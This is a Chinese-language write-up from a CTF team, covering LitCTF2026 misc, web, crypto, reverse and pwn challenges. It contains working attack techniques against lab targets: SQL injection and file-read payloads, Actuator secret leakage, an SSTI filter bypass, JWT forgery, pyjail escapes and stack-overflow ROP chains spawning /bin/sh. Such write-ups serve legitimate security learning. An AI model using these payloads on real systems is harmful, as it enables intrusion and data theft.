LitCTF Writeup
LitCTF Writeup –NinaSec
Misc
[LitCTF2026] lit_lsb_base64
1 | 组委会发来一张花花绿绿的 PNG,标题里写着三个字母:LSB。这和「崂山煲」可没关系——它指的是 最低有效位(Least Significant Bit) 隐写。 |
提示lsb,用stegsolve解决:

有个base64,解码一下就是flag:

flag:
1 | LitCTF{lsb_1s_fun_w1th_b4s3_64} |
[LitCTF2026] lit_rush_qr
题目描述:
1 | 附件里有一个「闪得很快」的 GIF。有人说自己好像瞥见了 二维码 的一角,但怎么也扫不出来…… |
gif先分解帧:


发现缺定位符的二维码,加两个定位符:

然后一个一个扫就行了:

flag:
1 | LitCTF{qr_h1gh_3rr_c0r_r3c0v3ry} |
[LitCTF2026] lit_sstv
题目描述:
1 | 你收到一段奇怪的 WAV:听起来像老式调制解调器或短波噪声。它其实不是「坏掉的音频」,而是一种把 图片编码进声音 的协议——SSTV(慢扫描电视)。 |
sstv题,本地不知道是不是声卡的原因,没扫出来,用在线网站:
https://sstv-decoder.mathieurenaud.fr/

拿到flag:
1 | LitCTF{sstv_p4t13nc3} |
[LitCTF2026] lit_welcome
题目描述:
lsb通道里发现:

得到flag:
1 | LitCTF{w3lc0m3_t0_m1sc_w0rld} |
[LitCTF2026] lit_pyjail_reader
题目描述:
1 | ez_jail |
看源码:
1 | alphabet = string.ascii_uppercase |
第一步的翻转,把字符串反转一下就行。
1 | def safe_read(path: str) -> str: |
只ban了空字符串,以 - 开头,含有\x00。
然后就nc连一下:

flag为:
1 | flag{4dlsaahi-woeb-4hn-8yds-ywdqzbiackvbt} |
[LitCTF2026] lit_pyjail_unicode
题目描述:
1 | ezjail_2 |
看源码:
1 | conn.sendall( |
额先看ban了什么吧:
1 | BANNED = re.compile( |
ban了
1 | open('/flag').read() |
这题考的是unicode,所以我就尝试是全角字符:
刚好绕过了open那个被Ban的限制。
直接写个远端交互脚本吧(因为我发现把全角直接复制进命令行会报错)

1 | import socket |
如果我这个脚本里的全角字符有问题,可以去https://tool.ip138.com/characterchange/把open先转换成全角然后放进脚本里。
Web
[LitCTF2026] lit_ezsql
题目描述:
1 | 注注注! |
先尝试几个数字看看:



先尝试宽字节布尔注入:
1 | %df%27 or 1=1# |

OK拿到注入点了,先用 order by 探测列数:
1 | 1%df%27 order by 5# |

继续测:
1 | 1%df%27 order by 6# |

说明有5列。
开始union联合查询:
1 | -1%df%27 union select 1,2,3,4,5# |

从前面可以看的出来第二列回显是最稳定的,所以用第二列来爆库名:
1 | -1%df%27 union select 1,database(),3,4,5# |

爆出来一个ezsql继续爆表名:
1 | -1%df%27 union select 1,group_concat(table_name),3,4,5 from information_schema.tables where table_schema=database()# |

爆出来flag_store了现在要查看这个表的子段了:
1 | -1%df%27 union select 1,group_concat(column_name),3,4,5 from information_schema.columns where table_schema=database() and table_name=0x666c61675f73746f7265# |

好了,读flag吧:
1 | -1%df%27 union select 1,group_concat(id,0x3a,flag),3,4,5 from flag_store# |

flag为:
1 | flag{clvtdgbg-y70k-4nj-8hjm-g1du99p3n1xxe} |
[LitCTF2026] Northbridge Document Hub
题目描述:
1 | Northbridge 文档中心接入了 kkFileView 兼容的文件预览网关。 |
源码里有个js文件:

账密就是 researcher / Research#2026
路径是 /kkfileview/getCorsFile,参数名是 urlPath
先登录:

题目说从缓存中找flag,home界面直接明示:/opt/kkfileview/cache/parsed这个缓存目录。
接下来就要搞明白这个urlpath到底是怎么传的。
这道题其实就是“给它一个路径,它帮你取文件内容”的接口。题目又明确提到“kkFileView 兼容预览网关”和“解析缓存”,所以自然会怀疑这里存在文件读取。
根据渗透的思路,/etc/passwd能想得到,本地文件读取,当然直接用这个路径也进不去,需要做些修饰绕过一下。
把 file:///etc/passwd 先做 Base64,再放进 urlPath,接口就会正常返回文件内容。
也就是ZmlsZTovLy9ldGMvcGFzc3dk
访问:
1 | /kkfileview/getCorsFile?urlPath=ZmlsZTovLy9ldGMvcGFzc3dk |
得到一个passwd文件:
1 | root:x:0:0:root:/root:/bin/bash |
这个是为后面铺垫的,只是为了证明这个绕过有效。
虽然首页里提到了 finance_2026q1.xlsx,但直接去猜缓存中文件名不一定好猜。
既然是缓存文件,就试试:
1 | file:///root/.bash_history |
它的 Base64 为:
1 | ZmlsZTovLy9yb290Ly5iYXNoX2hpc3Rvcnk= |
就是:
1 | /kkfileview/getCorsFile?urlPath=ZmlsZTovLy9yb290Ly5iYXNoX2hpc3Rvcnk= |
得到:
1 | cd /opt/kkfileview/bin |
前面那些路径说实话猜出来的路径,只不过比较常见,也是试出来可读罢了。
好的,这个暴露出来:我们要找的财务归档文件是 q1_finance_report_2026.zip
它就放在 /opt/kkfileview/cache/parsed/ 。
继续:
1 | file:///opt/kkfileview/cache/parsed/q1_finance_report_2026.zip |
1 | ZmlsZTovLy9vcHQva2tmaWxldmlldy9jYWNoZS9wYXJzZWQvcTFfZmluYW5jZV9yZXBvcnRfMjAyNi56aXA= |
1 | /getCorsFile?urlPath=ZmlsZTovLy9vcHQva2tmaWxldmlldy9jYWNoZS9wYXJzZWQvcTFfZmluYW5jZV9yZXBvcnRfMjAyNi56aXA= |
拿到一个压缩包,拿到flag:

flag为:
1 | flag{3tfvqu1p-ibun-4nk-8rne-s1oj1khtnvt0g} |
[LitCTF2026] 华辰企业服务运营平台
题目描述:
1 | 某客服工单系统上线后,保留了大量运维与调试能力。 |
先全部点一下,登录和工作台跳到的都是登录界面
dirsearch扫一下:

访问:/actuator
返回一堆json:
1 | {"_links":{"self":{"href":"http://challenge.cyclens.tech:31171/actuator","templated":false},"beans":{"href":"http://challenge.cyclens.tech:31171/actuator/beans","templated":false},"caches":{"href":"http://challenge.cyclens.tech:31171/actuator/caches","templated":false},"caches-cache":{"href":"http://challenge.cyclens.tech:31171/actuator/caches/{cache}","templated":true},"health":{"href":"http://challenge.cyclens.tech:31171/actuator/health","templated":false},"health-path":{"href":"http://challenge.cyclens.tech:31171/actuator/health/{*path}","templated":true},"info":{"href":"http://challenge.cyclens.tech:31171/actuator/info","templated":false},"conditions":{"href":"http://challenge.cyclens.tech:31171/actuator/conditions","templated":false},"configprops":{"href":"http://challenge.cyclens.tech:31171/actuator/configprops","templated":false},"env-toMatch":{"href":"http://challenge.cyclens.tech:31171/actuator/env/{toMatch}","templated":true},"env":{"href":"http://challenge.cyclens.tech:31171/actuator/env","templated":false},"loggers":{"href":"http://challenge.cyclens.tech:31171/actuator/loggers","templated":false},"loggers-name":{"href":"http://challenge.cyclens.tech:31171/actuator/loggers/{name}","templated":true},"heapdump":{"href":"http://challenge.cyclens.tech:31171/actuator/heapdump","templated":false},"threaddump":{"href":"http://challenge.cyclens.tech:31171/actuator/threaddump","templated":false},"metrics":{"href":"http://challenge.cyclens.tech:31171/actuator/metrics","templated":false},"metrics-requiredMetricName":{"href":"http://challenge.cyclens.tech:31171/actuator/metrics/{requiredMetricName}","templated":true},"scheduledtasks":{"href":"http://challenge.cyclens.tech:31171/actuator/scheduledtasks","templated":false},"mappings":{"href":"http://challenge.cyclens.tech:31171/actuator/mappings","templated":false}}} |
这道题大概就是通过 Actuator 读取敏感配置、环境变量、路由信息,甚至进一步找出权限绕过点。
访问:/actuator/env
1 | {"activeProfiles":[],"propertySources":[{"name":"server.ports","properties":{"local.server.port":{"value":8080}}},{"name":"servletContextInitParams","properties":{}},{"name":"systemProperties","properties":{"java.runtime.name":{"value":"OpenJDK Runtime Environment"},"java.protocol.handler.pkgs":{"value":"org.springframework.boot.loader"},"sun.boot.library.path":{"value":"/opt/java/openjdk/lib/amd64"},"java.vm.version":{"value":"25.492-b09"},"java.vm.vendor":{"value":"Temurin"},"java.vendor.url":{"value":"https://adoptium.net/"},"path.separator":{"value":":"},"java.vm.name":{"value":"OpenJDK 64-Bit Server VM"},"file.encoding.pkg":{"value":"sun.io"},"user.country":{"value":"US"},"sun.java.launcher":{"value":"SUN_STANDARD"},"sun.os.patch.level":{"value":"unknown"},"PID":{"value":"1"},"java.vm.specification.name":{"value":"Java Virtual Machine Specification"},"user.dir":{"value":"/opt/app"},"java.runtime.version":{"value":"1.8.0_492-b09"},"java.awt.graphicsenv":{"value":"sun.awt.X11GraphicsEnvironment"},"java.endorsed.dirs":{"value":"/opt/java/openjdk/lib/endorsed"},"os.arch":{"value":"amd64"},"java.io.tmpdir":{"value":"/tmp"},"line.separator":{"value":"\n"},"java.vm.specification.vendor":{"value":"Oracle Corporation"},"os.name":{"value":"Linux"},"sun.jnu.encoding":{"value":"UTF-8"},"spring.beaninfo.ignore":{"value":"true"},"java.library.path":{"value":"/usr/java/packages/lib/amd64:/usr/lib64:/lib64:/lib:/usr/lib"},"java.specification.name":{"value":"Java Platform API Specification"},"java.class.version":{"value":"52.0"},"sun.management.compiler":{"value":"HotSpot 64-Bit Tiered Compilers"},"os.version":{"value":"7.0.2-4-pve"},"user.home":{"value":"/root"},"catalina.useNaming":{"value":"false"},"user.timezone":{"value":"Etc/UTC"},"java.awt.printerjob":{"value":"sun.print.PSPrinterJob"},"file.encoding":{"value":"UTF-8"},"java.specification.version":{"value":"1.8"},"catalina.home":{"value":"/tmp/tomcat.8080.8345083766926613318"},"java.class.path":{"value":"/opt/app/app.jar"},"user.name":{"value":"root"},"java.vm.specification.version":{"value":"1.8"},"sun.java.command":{"value":"******"},"java.home":{"value":"/opt/java/openjdk"},"sun.arch.data.model":{"value":"64"},"user.language":{"value":"en"},"java.specification.vendor":{"value":"Oracle Corporation"},"awt.toolkit":{"value":"sun.awt.X11.XToolkit"},"java.vm.info":{"value":"mixed mode"},"java.version":{"value":"1.8.0_492"},"java.ext.dirs":{"value":"/opt/java/openjdk/lib/ext:/usr/java/packages/lib/ext"},"sun.boot.class.path":{"value":"/opt/java/openjdk/lib/resources.jar:/opt/java/openjdk/lib/rt.jar:/opt/java/openjdk/lib/sunrsasign.jar:/opt/java/openjdk/lib/jsse.jar:/opt/java/openjdk/lib/jce.jar:/opt/java/openjdk/lib/charsets.jar:/opt/java/openjdk/lib/jfr.jar:/opt/java/openjdk/classes"},"java.awt.headless":{"value":"true"},"java.vendor":{"value":"Temurin"},"catalina.base":{"value":"/tmp/tomcat.8080.8345083766926613318"},"java.specification.maintenance.version":{"value":"6"},"file.separator":{"value":"/"},"java.vendor.url.bug":{"value":"https://github.com/adoptium/adoptium-support/issues"},"sun.io.unicode.encoding":{"value":"UnicodeLittle"},"sun.cpu.endian":{"value":"little"},"sun.cpu.isalist":{"value":""}}},{"name":"systemEnvironment","properties":{"PATH":{"value":"/opt/java/openjdk/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin","origin":"System Environment Property \"PATH\""},"KUBERNETES_PORT_443_TCP":{"value":"tcp://10.43.0.1:443","origin":"System Environment Property \"KUBERNETES_PORT_443_TCP\""},"LANGUAGE":{"value":"en_US:en","origin":"System Environment Property \"LANGUAGE\""},"KUBERNETES_PORT_443_TCP_ADDR":{"value":"10.43.0.1","origin":"System Environment Property \"KUBERNETES_PORT_443_TCP_ADDR\""},"KUBERNETES_PORT":{"value":"tcp://10.43.0.1:443","origin":"System Environment Property \"KUBERNETES_PORT\""},"CONTAINER_ENDPOINT":{"value":"challenge.cyclens.tech","origin":"System Environment Property \"CONTAINER_ENDPOINT\""},"LAB_FLAG_PART2":{"value":"r-83b0-lqfywkijejctz}","origin":"System Environment Property \"LAB_FLAG_PART2\""},"JAVA_HOME":{"value":"/opt/java/openjdk","origin":"System Environment Property \"JAVA_HOME\""},"KUBERNETES_PORT_443_TCP_PROTO":{"value":"tcp","origin":"System Environment Property \"KUBERNETES_PORT_443_TCP_PROTO\""},"FLAG":{"value":"flag{cboyej4v-zaqh-4jr-83b0-lqfywkijejctz}","origin":"System Environment Property \"FLAG\""},"KUBERNETES_SERVICE_HOST":{"value":"10.43.0.1","origin":"System Environment Property \"KUBERNETES_SERVICE_HOST\""},"LANG":{"value":"C.UTF-8","origin":"System Environment Property \"LANG\""},"KUBERNETES_SERVICE_PORT":{"value":"443","origin":"System Environment Property \"KUBERNETES_SERVICE_PORT\""},"HOSTNAME":{"value":"ce-dv2nnp0ts2ok","origin":"System Environment Property \"HOSTNAME\""},"LC_ALL":{"value":"en_US.UTF-8","origin":"System Environment Property \"LC_ALL\""},"LAB_SHIRO_KEY_B64":{"value":"R1pDVEZTaGlyb0dDTUtleQ==","origin":"System Environment Property \"LAB_SHIRO_KEY_B64\""},"LAB_SHIRO_ALG_MODE":{"value":"GCM","origin":"System Environment Property \"LAB_SHIRO_ALG_MODE\""},"CONTAINER_PORT":{"value":"31171","origin":"System Environment Property \"CONTAINER_PORT\""},"KUBERNETES_PORT_443_TCP_PORT":{"value":"443","origin":"System Environment Property \"KUBERNETES_PORT_443_TCP_PORT\""},"JAVA_VERSION":{"value":"jdk8u492-b09","origin":"System Environment Property \"JAVA_VERSION\""},"PWD":{"value":"/opt/app","origin":"System Environment Property \"PWD\""},"KUBERNETES_SERVICE_PORT_HTTPS":{"value":"443","origin":"System Environment Property \"KUBERNETES_SERVICE_PORT_HTTPS\""},"SHLVL":{"value":"0","origin":"System Environment Property \"SHLVL\""},"HOME":{"value":"/root","origin":"System Environment Property \"HOME\""}}},{"name":"applicationConfig: [classpath:/application.yml]","properties":{"server.port":{"value":8080,"origin":"class path resource [application.yml]:2:9"},"server.servlet.session.timeout":{"value":"30m","origin":"class path resource [application.yml]:5:16"},"spring.application.name":{"value":"support-center","origin":"class path resource [application.yml]:9:11"},"spring.thymeleaf.cache":{"value":false,"origin":"class path resource [application.yml]:11:12"},"lab.shiro.key-b64":{"value":"R1pDVEZTaGlyb0dDTUtleQ==","origin":"class path resource [application.yml]:15:14"},"lab.shiro.alg-mode":{"value":"GCM","origin":"class path resource [application.yml]:16:15"},"lab.flag.part2":{"value":"r-83b0-lqfywkijejctz}","origin":"class path resource [application.yml]:18:12"},"management.server.port":{"value":8080,"origin":"class path resource [application.yml]:22:11"},"management.endpoints.web.base-path":{"value":"/actuator","origin":"class path resource [application.yml]:25:18"},"management.endpoints.web.exposure.include":{"value":"*","origin":"class path resource [application.yml]:27:18"},"management.endpoints.web.exposure.exclude":{"value":"gateway,shutdown","origin":"class path resource [application.yml]:28:18"},"management.endpoint.health.show-details":{"value":"always","origin":"class path resource [application.yml]:31:21"},"management.endpoint.env.show-values":{"value":"always","origin":"class path resource [application.yml]:33:20"},"management.endpoint.configprops.show-values":{"value":"always","origin":"class path resource [application.yml]:35:20"},"management.endpoint.heapdump.enabled":{"value":true,"origin":"class path resource [application.yml]:37:16"}}}]} |
好吧不扯多的了,这里面就有flag,hhh:

flag为:
1 | flag{cboyej4v-zaqh-4jr-83b0-lqfywkijejctz} |
[LitCTF2026] lit_ezssti
题目描述:
1 | 缺什么补什么(x |
先尝试几个常见的:



呜呜呜不要拦我。


嘶居然没拦。试试Mako的代码块语法:

OK这个不拦,去读文件(中间尝试的比较多就不赘述了):

flag 文件就在 /flag,但是直接读会被拦:

我们采用不写 popen(...).read(),而是改成 getattr(...,'read')(),绕过点号过滤,先在 <%! ... %> 里导入 popen。

拿到flag:
1 | flag{npzfyxxr-z88c-4z1-8yi8-bs2rqdvbbidyx} |
[LitCTF2026] lit_reverse_my_web
题目描述:
1 | Web手也要会逆向么喵? |
先注册登录一下:


进去后归档中心就是/flag路径:



有jwt,康康:

密钥用hashcat爆过,爆不出来,先去附件那个go文件里找点线索:
因为go文件放入IDA太庞大了,用AI梭了一下。
对话截图:



对这个程序做最基础的字符串和符号检查,很快能看到一些非常有用的名字:
1 | main.(*app).signJWT |
这说明:
- 程序没有去掉 Go 符号
- JWT 签发、JWT 解析、
/flag处理函数都能直接定位 - 还存在一个专门放 JWT 密钥的模块
jwtsecret
光看这些名字,其实题目思路已经很清楚了:
signJWT负责签发用户登录后的 tokenparseToken负责校验 tokenjwtsecret.encKey很可能是被“简单加密”后的签名密钥
拿一个正常用户登录后得到的 JWT,拆出前两段:
1 | header.payload |
再拿程序里后面恢复出来的密钥去本地重算 HMAC-SHA256,结果和站点发下来的签名完全一致。
这一步说明:
- 签名算法就是普通的
HS256 - 只要能恢复出密钥,就能百分百伪造管理员 token
定位 encKey,发现它是一个 32 字节密钥材料
运行时读内存或者静态读全局变量都能看到:reverseMyWeb/internal/jwtsecret.encKey 对应的是一段长度为 0x20 的字节数组,也就是 32 字节。
其中真正关键的 32 字节内容如下:
1 | 28 17 2d 05 68 6a 68 6c 05 36 33 2e 39 2e 3c 05 |
把它按字节拿出来以后,最先应该做的不是上复杂算法,而是先试最常见的轻量混淆:
- 单字节异或
- 加减偏移
- 倒序
- Base64 / Hex 编码误导
把每个字节都异或 0x5a,得到:
1 | rMw_2026_litctf_jwt_secret_key!! |
解密钥脚本:
1 | enc = bytes.fromhex("28172d05686a686c0536332e392e3c05302d2e05293f39283f2e05313f237b7b") |
OK,拿到密钥了就可以伪造jwt了

把role改成admin生成新的token。
改cookie里的token拿到flag:

flag为:
1 | flag{crordl3y-ydyw-4ux-8gdx-zfuodqtk0fjqz} |
Crypto
[LitCTF2026] lit_xor_two_story
题目描述:
1 | 某同学用 同一串随机密钥流 k 对两条长度均为 40 字节的明文做异或「流密码」加密,却忘记了一次一密的基本要求:密钥绝不能复用。 |
OTP密钥重用
当两条明文 M1 和 M2 使用相同的密钥流 K 加密时,密文分别为:

如果我们计算两个密文的异或,密钥流 $K$ 会被抵消:

已知其中一条明文 $M_2$,我们可以直接还原出 $M_1$:

脚本:
1 | c1 = bytes.fromhex("5f70a847ce12759e156e3cad1aa9530a119386a02ffc1c31bf14ab7a0a82ccc108f8476f75c98a28") |

flag:
1 | litctf{otp_reuse_never_twice_same_key__} |
[LitCTF2026] lit_elgamal_handshake
题目描述:
1 | 服务端打印了 ElGamal 私钥 x,这是一次典型的「调试产物泄露」。 |
ElGamal 解密原理:
然后用私钥解密即可。
脚本:
1 | from Crypto.Util.number import long_to_bytes |

flag为:
1 | litctf{elgamal_leak_makes_happy_decrypt} |
[LitCTF2026] lit_rsa_neighbor
题目描述:
1 | 密钥生成脚本选了一个随机素数 p,然后对 p 连续调用多次「下一个素数」,得到 q,再令 (n=pq)。直觉上 (p) 与 (q) 仍然相差不大——这会让 费马分解 在普通笔记本上也可行。 |

脚本:
1 | import gmpy2 |

flag为:
1 | litctf{rsa_fermat_finds_close_primes} |
[LitCTF2026] lit_tiny_key_aes
题目描述:
1 | 运维政策规定 AES-128-ECB 密钥的前 13 个字节固定为可读前缀 LitCTF2026!!!,只有末尾 3 个字节由终端随机生成。密钥空间过小,不适合对抗离线枚举。 |
题目提供了一段 Python 加密脚本和一段 AES-128-ECB 模式加密的密文。
1 | KEY_PREFIX = b"LitCTF2026!!!" # 13 bytes |
AES-128 的密钥长度为 16 字节。由于前 13 个字节被硬编码固定,真正的未知变量 UNKNOWN_KEY_SUFFIX 只有 3 个字节。
不多说了暴力破解吧。
脚本:
1 | import sys |

flag为:
1 | litctf{aes_tiny_brut3_for_the_win!} |
Reverse
[LitCTF2026] lit_rc4_variant
题目描述:
1 | 程序实现一种 64 字节状态 的流密码式异或:初始化与 RC4 类似但模 64,且输出字节与 S[v7] + S[v10](模 256)异或——与「标准 RC4 输出 S[(S[i]+S[j])&255]」不同。密钥为 ASCII 字符串,放在 .rdata。 |
拖进IDA:

前几个都是比较关键的字符串。
先看main函数:


输入长度29
密钥就是这个:


就是之前字符串里的:{=8wNrB}E7v
加密逻辑是:
1 | keystream = (S[(S[i] + old_Si) & 0x3f] + S[i]) & 0xff |
- 状态数组长度是
64,所以所有下标都按0x3f取模 old_Si指的是交换前保存下来的S[i]- 最后再和明文或密文做逐字节异或
解密脚本:
1 | key = b"lit_rc4_key!" |

flag为:
1 | LitCTF{rev05_rc4_variant_64!} |
[LitCTF2026] lit_tea_standard
题目描述:
1 | 程序把你输入的 flag 做 PKCS#7 填充 到 8 字节倍数,再按 8 字节一块 做 标准 TEA(32 轮,delta = 0x9E3779B9),与内存中的密文逐字节比较。密钥 k[0..3] 以 4×uint32 形式存放在 .rdata。 |
经典tea
字符串没啥重要的直接看main函数:


v6 = v5 & 7 是求 len mod 8,v7 = v5 + 8 - v6 是把长度补到下一个 8 的倍数Buf1[v5++] = 8 - v6是把 pad 值连续写到末尾。同时要求:
1 | if ( v7 != 32 ) |
32 字节
1 | v8 = Buf1; |
每次从
v8取两个DWORD每轮先更新
v9,再更新v10两个更新式都长成:
((x << 4) +/- K1) ^ (x + sum) ^ ((x >> 5) +/- K2)i每轮变化一次,最后比较终止值标准的32轮tea。
在 32 位无符号整数里:
x - C = x + (2^32 - C)
所以可以直接把这些减法常量还原回真正的 TEA key:
1
2
3
4k0 = 0x100000000 - 0x5EE31054 = 0xA11CEFAC
k1 = 0x100000000 - 0x4FF4E200 = 0xB00B1E00
k2 = 0x100000000 - 0x35014542 = 0xCAFEBABE
k3 = 0x100000000 - 0x21524111 = 0xDEADBEEF所以:
1
2
3
4k0 = 0xA11CEFAC
k1 = 0xB00B1E00
k2 = 0xCAFEBABE
k3 = 0xDEADBEEF后面:
1
2
3
4
5
6
7
8
9
10if ( !memcmp_0(Buf1, &g_cipher, 0x20u) )
{
puts_0("Good!");
return 0;
}
else
{
LABEL_13:
puts_0("Wrong!");
}
读取这些字节:
1
2
3
4ed ef 21 fe b7 9b 3c b0
1e 93 72 e2 02 3e 29 bc
36 f7 0c 92 2e 5a ae 46
44 fa 45 25 1a e5 8c 87这就是最终拿来比较的目标密文。
接下来只需要写一个标准 TEA 解密脚本:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25from struct import unpack, pack
cipher = bytes.fromhex(
"ed ef 21 fe b7 9b 3c b0"
" 1e 93 72 e2 02 3e 29 bc"
" 36 f7 0c 92 2e 5a ae 46"
" 44 fa 45 25 1a e5 8c 87"
)
k = [0xA11CEFAC, 0xB00B1E00, 0xCAFEBABE, 0xDEADBEEF]
DELTA = 0x9E3779B9
MASK = 0xFFFFFFFF
def tea_decrypt_block(block):
v0, v1 = unpack("<2I", block)
total = (DELTA * 32) & MASK
for _ in range(32):
v1 = (v1 - (((v0 << 4) + k[2]) ^ (v0 + total) ^ ((v0 >> 5) + k[3]))) & MASK
v0 = (v0 - (((v1 << 4) + k[0]) ^ (v1 + total) ^ ((v1 >> 5) + k[1]))) & MASK
total = (total - DELTA) & MASK
return pack("<2I", v0, v1)
plain = b"".join(tea_decrypt_block(cipher[i:i + 8]) for i in range(0, len(cipher), 8))
print(plain)
print(plain[:-plain[-1]])得到flag:

flag为:
1 | LitCTF{rev03_tea_standard!!} |
[LitCTF2026] lit_b64_alphabet
题目描述:
1 | 程序把你输入的 flag 按标准 Base64 的分组方式编码,但 64 个输出字符的字母表 不是 RFC 默认顺序,而是程序里保存的一串置换。比对对象是内存中的 期望密文字符串。 |

1 | int __fastcall main(int argc, const char **argv, const char **envp) |
从main函数可以看出:
1 | zjA5lToj9PUAGn2O+v6TRPosgYWB6noyGjhBgjfwyl== |
是密文。
1 | 2KuEphj84USZF67iloxzfYd+MrDgRG9yLwBnHAXcJq3eCN/s1bOQ5TvPa0tVkWmI |
是 64 字符字母表。
直接扔cyberchef得到flag:

flag为:
1 | LitCTF{rev02_custom_b64_table!} |
[LitCTF2026] lit_xor_chain
题目描述:
1 | 程序读入一行字符串,对 每个字节 先做异或常数、再加常数,再与内存里的 期望数组 逐字节比较。逻辑与常见逆向入门讲义中的「循环 + xor + add + 数组比对」一致。 |
看main函数:


字节:
1 | 23 40 2b 16 0b 19 2e 25 3c 29 67 68 12 2f 42 25 |
目标数组就是:
1 | expected = [ |
程序做的是:
1 | ((input[i] ^ 0x52) + 0x05) == expected[i] |
逆回来是:
1 | input[i] = (expected[i] - 0x05) ^ 0x52 |
脚本:
1 | expected = [ |

flag为:
1 | LitCTF{rev01_xor_then_add_ok!} |
[LitCTF2026] lit_xtea_tweak
题目描述:
1 | 流程与「分组 + 填充 + 分块加密」类似 XTEA,但轮常数 delta 被换成 0xDEADBEEF(标准文献里常见的是 0x9E3779B9)。若直接套用网上搜到的 XTEA 脚本而不改 delta,解密会失败。 |
主函数:


v6 = len & 7``v7 = len + 8 - v6循环写入 8 - v6。要求填充后的总长度必须是 32 字节。之后每 8 字节作为一组,拆成两个 uint32 进入 32 轮加密循环。最后把结果和 g_cipher 做 memcmp。

1 | for ( i = 0; i != -709370400; v10 += (g_key[(i >> 11) & 3] + i) ^ (v9 + ((v9 >> 5) ^ (16 * v9))) ) |
559038737的十六进制为0x21524111。注意它在汇编里对应的是:
1 | 140001536 sub eax, 21524111h |
在 32 位无符号整数里:0 - 0x21524111 == 0xDEADBEEF
也就是说,这里每轮实际加上的常数不是标准 XTEA 的 0x9E3779B9,而是delta = 0xDEADBEEF这就是tweak的意思。

g_key和g_cipher都有了
1 | g_cipher = |
按小端 uint32 解释,密钥就是:
1 | 0x11111111, 0x22222222, 0x33333333, 0x44444444 |
脚本:
1 | from struct import unpack, pack |
得到flag:
1 | LitCTF{rev04_xtea_delta_twk!} |

Pwn
[LitCTF2026] lit_ret2text32
题目描述:
1 | 欢迎来到 Pwn 的世界!这是一道最基础的32位栈溢出题目。 |
main.c:

另一个文件拖入IDA。看main函数:

vuln应该是漏洞点。

看backdoor函数。
只要地址调到这个函数,执行这个语句。
看vuln():

这是栈溢出,栈上缓冲区 buf 很小,read(0, buf, 0x200) 却允许读入 0x200 字节

buf,buf = byte ptr -38h
缓冲区起点不是 ebp-0x30,而是 ebp-0x38
所以从 buf 起始位置到返回地址的真实距离应当按下面算:
1 | 0x38 到 saved ebp |
因此正确偏移是 60,不是 52。
最短利用链就是:
1 | "A" * 60 + p32(0x08049213) |
也就是用 60 字节填满到返回地址前的位置,把返回地址覆盖成 backdoor,程序从 vuln() 返回时直接跳进 system("/bin/sh")
exp:
1 | from pwn import * |

flag为:
1 | flag{tzylhcwd-yln7-4ch-8lvg-zurh20y5haosw} |
[LitCTF2026] lit_ret2libc
题目描述:
1 | 这个程序里没有后门,但它调用了一些标准库函数。 |
main.c


buf 只有 64 字节,但 read() 读了 0x200,这是标准栈溢出。程序专门内嵌了 pop rdi; ret gadget,ROP 门槛非常低。leak_value(void **addr) 会把传入地址解引用后打印出来,这相当于给了一个“任意地址读 8 字节”的泄露原语。

buf 在 [rbp-0x40],返回地址在 [rbp+8],所以覆盖返回地址的偏移是:
1 | 0x40 + 0x8 = 0x48 = 72 |
构造链:
1 | 'A' * 72 + pop_rdi + puts_got + leak_value + vuln |
但这在远端会崩。
原因是 AMD64 System V ABI 要求函数调用前栈 16 字节对齐,而 leak_value() 内部会再调用 printf()。如果栈没对齐,printf() 这类 libc 函数很容易直接炸掉。
所以第一阶段正确链应该是:
1 | 'A' * 72 |
第一个 ret 用来给 leak_value() 做栈对齐,第二个 ret 用来保证重新进入 vuln() 时也保持正常的调用栈形态。
我们先泄露几个 GOT 表项,确认远端 libc 版本。下面脚本会在同一个进程里依次泄露 puts、printf、read、setvbuf:
1 | from pwn import * |

拿到这些泄露后,直接丢给 libc.rip 即可。
1 | { |
得到版本:libc6_2.35-0ubuntu3.13_amd64
确定 libc 版本后,真正打 shell 只需要在“同一个连接、同一个进程”里再泄露一次 puts,算出这次实例的 libc 基址,然后发第二阶段 ROP。
1 | from pwn import * |

flag为:
1 | flag{9gwslki3-1kh2-4hc-8gie-b19tdtdnqtsyr} |
[LitCTF2026] lit_ret2syscall32
题目描述:
1 | 这是一台32位的古老机器,没有 system(),没有 /bin/sh,连 libc 都沉默不语。 |



buf只有 64 字节,但 read() 读了 0x200,存在标准栈溢出。.data/.bss 里还有一个可写的 data_buf。

虽然 C 里写的是 char buf[64],但编译后实际给这个缓冲区留了 0x48 字节栈空间。返回地址位于 [ebp+4],因此覆盖返回地址的偏移是:
1 | 0x48 + 4 = 0x4c = 76 |
也就是说,前 76 字节用来填充,后面就是我们的 ROP 链。

这些是构造链的关键。
有了它们,就能把任意 4 字节内容写到指定内存,再触发系统调用。
32 位 Linux 下,execve 的系统调用号是 11,也就是:
1 | eax = 11 |
所以这题最终目标就是把寄存器摆成:
1 | eax = 11 |
然后执行一次 int 0x80。
程序里没有现成的 /bin/sh 字符串,所以要自己写。因为 mov [edx], eax 每次能写 4 字节,最方便的办法就是拆成三段:
1 | data_buf <- "/bin" |
对应的ROP 思路如下:
1 | pop edx ; ret -> edx = data_buf |
之所以常写成 "/bin//sh" 而不是 "/bin/sh",只是为了凑整 8 个字节,便于按 4 字节一组写入;Linux 会把它当成同一个路径处理。
写完字符串以后,继续设置寄存器:
1 | pop ecx ; pop ebx ; ret -> ecx = 0, ebx = data_buf |
注意这里虽然题目给了单独的 pop ebx ; ret,但用 pop ecx ; pop ebx ; ret 更省链长,因为 execve 本来就需要 ecx = 0。
把前面的步骤合起来,最终 ROP 链结构就是:
1 | "A" * 76 |
exp:
1 | from pwn import * |

flag为:
1 | flag{mvtqqyq0-hzhq-40w-8zsj-cuac2bvaunmyy} |
[LitCTF2026] lit_ropchain
题目描述:
1 | 程序里的碎片散落一地,没有现成的钥匙能打开 shell 之门。 |



buf只有 64 字节,但read()读入了0x200,是标准栈溢出。程序故意内嵌了
pop rdi、pop rsi、pop rdx,等于把 ROP 需要的核心拼图直接送到了面前。程序会引用
system("echo hello"),所以 ELF 里天然存在system@plt,不需要泄露 libc 再 ret2libc。vuln()中缓冲区大小是 64 字节,保存的rbp是 8 字节,因此返回地址偏移就是:72也就是 payload 前面先填
b"A" * 72即可覆盖 RIP。
整体思路非常直接:
- 用 72 字节填充覆盖返回地址。
- ROP 调一次
read(0, bss, 8),把"/bin/sh\x00"写到.bss。 - 再把
rdi设成.bss地址,调用system@plt。
对应链子如下:
1 | 'A' * 72 |
脚本
1 | from pwn import * |

flag为:
